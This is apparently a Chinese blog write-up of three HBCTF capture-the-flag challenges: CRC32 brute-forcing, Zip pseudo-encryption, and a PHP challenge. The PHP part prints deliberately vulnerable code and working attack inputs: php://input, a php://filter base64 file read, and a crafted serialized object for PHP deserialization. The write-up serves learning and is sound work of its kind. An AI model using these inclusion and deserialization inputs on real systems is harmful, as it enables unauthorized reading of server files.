HBCTF——WriteUp&&涨姿势(1)

涨姿势

1.CRC校验
2.Zip伪加密
3.PHP伪协议


CRC校验

原题

这里写图片描述

解题思路

CRC32是由数据的每一位都参加的运算得出的,已知flag是6位数,可以爆破

WriteUp(引用自米安网

import binascii
real = 0x9c4d9a5d
for y in range(100000, 999999):
    if real == (binascii.crc32(str(y)) & 0xffffffff):
        print(y)     

涨姿势点——CRC的不同含义

    在计算机网络(第七版)中,CRC计算中得到的余数称为FCS,而在此题中(估计也是大多数类似的情况中)crc代表CRC计算得到的余数。

Zip伪加密

原题

图片引用自米安网

解题思路

既然是伪加密,只要把Zip相应的标志位改为未加密就行

WriteUp

如上图,01修改为偶数即可

涨姿势点——Zip加密标志位

    发现一个加密文件的好方法,把一个未加密的Zip文件的加密标志位改动(具体位置参考zip官方文档),解压时就会提示需要密码,这时就算给你个天河一号你也爆破不出密码,因为这根本就没有密码。经过实验,这要把相应位置改为奇数就可以达到伪加密效果

PHP伪协议

原题

页面源代码

you are not admin ! 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
{
    echo "hello admin!<br>";
    include($file); //class.php
}
else
{
    echo "you are not admin ! ";
}
 -->

class.php源代码

<?php
class Read
{                  //f1a9.php
    public $file;
    {
        if(isset($this->file))
        {
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>              

解题思路

    可以发现先获取user参数,判断user是否是admin,如果是会加载class.php文件。可以判断flag在class.php内。利用伪协议和Hackbar构造post数据,进入if语句,再用伪协议获取class.php文件内容,最后构造pass参数使class.php工作以获取flag

涨姿势点——PHP伪协议,Hackbar发送post数据

user=php://input 然后加上Hackbar发送的数据  手动添加参数
file=php://filter/convert.base64-encode/resource=文件名  伪协议查看文件内容
pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}  构造的pass参数(反序列化)

备注

因为user是判断一句话,话中有空格,所以使用php://input,还和file_get_contents($user,'r')==="the user is admin"这句判断有关系,不然user参数可以直接写在url中

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值